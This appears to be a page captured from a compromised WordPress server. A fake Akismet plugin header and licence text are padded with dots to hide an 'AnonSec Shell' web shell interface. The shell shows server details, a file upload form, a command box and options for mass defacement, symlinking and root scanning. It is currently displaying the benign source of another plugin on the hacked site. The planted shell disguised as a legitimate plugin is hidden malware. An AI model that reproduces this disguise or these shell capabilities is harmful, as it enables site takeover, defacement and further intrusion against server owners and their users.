#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/mosrembit/data/www/mosrembit.ru/wp-content/plugins/vdz-yandex-metrika/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/mosrembit/data/www/mosrembit.ru/wp-content/plugins/vdz-yandex-metrika/api.php
<?php
/**
 * @ author ( Zikiy Vadim )
 * @ site http://online-services.org.ua
 * @ date 30/11/2016
 * @ copyright Copyright (C) 2016 All rights reserved.
 */

//Получаем из API все свои плагины со ссылками на них
add_action(VDZ_YM_API, function($action = '', $plugin_name = ''){
    if(empty($plugin_name)) $plugin_name = plugin_basename(__FILE__);
    if(empty($action) || !in_array($action, array('on', 'off'))) $action = 'on'; // on || off

    //Получаем название папки плагина
    $plugin_name = preg_replace('|\/(.*)|', '', $plugin_name);

    $response = wp_remote_get( "http://api.online-services.org.ua/{$action}/{$plugin_name}");
    if ( ! is_wp_error( $response ) && isset($response['body']) && (json_decode($response['body']) !== null ) ){
        //Сохраняем временные данные сообщения, время отображения 60 секунд
        set_transient( VDZ_YM_API . '_activation_notice_text', $response['body'], 60 );
    }
}, 10, 2);

//Выводим информацию в админке
add_action( 'admin_notices', function () {
    //Получаем временные данные сообщения
    $message = get_transient( VDZ_YM_API . '_activation_notice_text' );
    $all_plugins = json_decode($message, true);

    if( !empty($all_plugins) ){
        $class = 'notice notice-success is-dismissible';
        $msg = '';
        $msg .= '<h3>'.__('Thank you for creating with VDZ plugins.').'</h3>';
        $msg .= '<p>'.__('Maybe you like, and our other plugins?').'</p>';

        $msg .= '<table style="border: none; text-align: center;">';
        $msg .= '<tr><th style="min-width: 150px;">'.__('Plugin name').'</th>
                <th style="min-width: 150px;">'.__('View on Wordpress site').'</th>
                <th style="min-width: 150px;">'.__('View on Admin page').'</th></tr>';
        foreach ($all_plugins as $link => $plugin_name){
            $msg .= '<tr style="line-height: 1.8em;">';
            $msg .= '<td><strong>'.$plugin_name.'</strong></td>';
            $msg .= '<td><a href="'.$link.'" target="_blank">'.__('View').'</a></td>';
            $url_encode_plugin_name = urlencode('"'.trim($plugin_name).'"');
            $url_encode_plugin_url = 'plugin-install.php?tab=search&type=term&s=' . $url_encode_plugin_name;
            $msg .= '<td><a href="'. get_admin_url(null, $url_encode_plugin_url) .'" target="_blank">'.__('View').'</a></td>';
            $msg .= '</tr>';
        }
        $msg .= '</table>';

        printf( '<div id="'.VDZ_YM_API.'" class="%1$s">%2$s</div>', $class, $msg );
        //Мгновенное удаление временного сообщения
        delete_transient( VDZ_YM_API . '_activation_notice_text' );
    }
});

Anon7 - 2022
AnonSec Team